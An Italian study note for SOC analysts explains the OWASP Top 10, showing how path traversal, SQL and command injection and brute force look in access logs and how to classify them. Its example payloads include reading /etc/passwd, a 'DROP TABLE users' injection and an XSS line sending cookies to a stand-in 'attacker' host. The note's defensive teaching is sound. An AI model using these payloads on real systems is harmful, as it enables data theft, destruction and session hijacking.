Skip to main content
  1. Concetti/

OWASP Top 10

·4 mins
Alessio Barnini
Author
Alessio Barnini
Table of Contents

Cosa fa
#

Fornisce una lingua comune per classificare le vulnerabilità web — ogni attacco web ricade in una categoria numerata.

TL;DR
#

OWASP pubblica ogni 3-4 anni la lista delle 10 vulnerabilità web più diffuse e pericolose. Non è uno standard tecnico — è un vocabolario condiviso tra developer, pentester e SOC analyst.

# Come lo usi in pratica come Blue Team:
GET /../../../etc/passwd  →  A01 Broken Access Control (Path Traversal)
' OR 1=1 nel form login   →  A03 Injection (SQL Injection)
200 tentativi login/min   →  A07 Identification and Authentication Failures

Le 10 categorie (versione 2021)
#

#NomeIn breve
A01Broken Access Controlaccesso a risorse non autorizzate
A02Cryptographic Failuresdati sensibili in chiaro o mal cifrati
A03Injectioninput utente eseguito come codice
A04Insecure Designarchitettura sbagliata a monte
A05Security Misconfigurationdefault password, debug in prod, header assenti
A06Vulnerable and Outdated Componentslibrerie con CVE note non aggiornate
A07Identification and Authentication Failuressessioni deboli, brute force, token insicuri
A08Software and Data Integrity Failuressupply chain, update non verificati
A09Security Logging and Monitoring Failuresnessun log = nessuna detection
A10Server-Side Request Forgery (SSRF)il server fa richieste verso reti interne

A01 — Broken Access Control
#

L'utente accede a risorse o operazioni che non dovrebbe vedere o eseguire.

Sottotipi principali:

  • Path Traversal / LFI — uscire dalla directory prevista con ../
  • IDOR (Insecure Direct Object Reference) — cambiare user_id=123 in user_id=124 e vedere i dati di un altro utente
  • Directory listing — il server espone l'indice di una cartella
  • Privilege escalation orizzontale/verticale — utente normale che accede a funzioni admin

Come appare in un access log Apache/Nginx:

GET /../../../etc/passwd HTTP/1.1 200     # path traversal riuscito — CRITICO
GET /admin/panel HTTP/1.1 403            # tentativo bloccato — da monitorare se ripetuto
GET /files/ HTTP/1.1 200                 # directory listing esposta — A01

Natas dove l'hai visto: bandit-02 (directory listing), bandit-03 (robots.txt), bandit-07 (LFI/Path Traversal)


A03 — Injection
#

Input utente viene inserito direttamente in un comando o una query senza sanitizzazione. Il server non distingue dati da istruzioni.

TipoDove finisce l'inputEsempio payload
Command InjectionShell di sistema; cat /etc/passwd o | cat /etc/passwd
SQL InjectionQuery database' OR '1'='1 oppure ' ; DROP TABLE users --
XSS (Reflected)HTML/JS nel browser della vittima<script>document.location='http://attacker/'+document.cookie</script>
LDAP InjectionDirectory service*)(&

Regola generale: se vedi passthru(), system(), exec() in PHP, o query costruite con concatenazione di stringhe — è injection in attesa di accadere.

Come appare in un access log:

GET /search?q=';+DROP+TABLE+users-- HTTP/1.1 500   # SQL injection tentata
GET /search?needle=test|cat+/etc/passwd HTTP/1.1 200  # command injection riuscita

Natas dove l'hai visto: bandit-09 (command injection con passthru()), bandit-10 (injection con filtri)


A07 — Identification and Authentication Failures
#

Il sistema non verifica correttamente l'identità dell'utente, o la verifica è aggirabile.

Casi tipici:

  • Cookie manipolabile lato clientloggedin=0loggedin=1
  • Session token prevedibile — ID di sessione incrementale o debolmente generato
  • Brute force senza rate limiting — nessun blocco dopo N tentativi falliti
  • Password in chiaro nel DB — nessun hashing
  • Logout che non invalida la sessione — il token rimane valido lato server

Come appare in un access log:

# Brute force — stesso IP, stesso endpoint, molti 401
192.168.1.100 POST /login 401
192.168.1.100 POST /login 401
192.168.1.100 POST /login 401   # x200 in 30 secondi → alert T1110 MITRE

Natas dove l'hai visto: bandit-04 (Referer spoofing), bandit-05 (cookie manipulation)


Come usarlo in un SOC
#

Quando analizzi un alert o un log sospetto, la prima domanda è: a quale categoria OWASP appartiene?

Questo ti permette di:

  1. Scrivere incident report con terminologia standard
  2. Mappare su MITRE ATT&CK (T1059 = Command Injection = A03, T1110 = Brute Force = A07)
  3. Capire la remediation corretta senza reinventare ogni volta

Nei log reali, A01 e A03 sono le categorie più frequenti negli attacchi web automatizzati (scanner, bot).


Scenario Reale
#

Sei analyst SOC. Wazuh ti lancia un alert su un web server Apache. Apri il log e vedi:

GET /page?file=../../../../etc/passwd HTTP/1.1 200
GET /search?q='+OR+1=1-- HTTP/1.1 500
POST /login HTTP/1.1 401  (x150 in 2 minuti, stesso IP)

Classificazione immediata:

  • Riga 1 → A01 Path Traversal — risposta 200, quindi riuscito. Priorità critica.
  • Riga 2 → A03 SQL Injection — risposta 500 (errore DB), tentativo parzialmente riuscito. Alta priorità.
  • Riga 3 → A07 Brute Force — ancora in corso. Blocca IP, verifica se qualche 200 nel mezzo.

Collegato a
#

  • network — categoria
  • ctf-hub — lab dove hai incontrato A01/A03/A07 in pratica
  • MITRE ATT&CK — framework complementare per classificazione tattiche

Related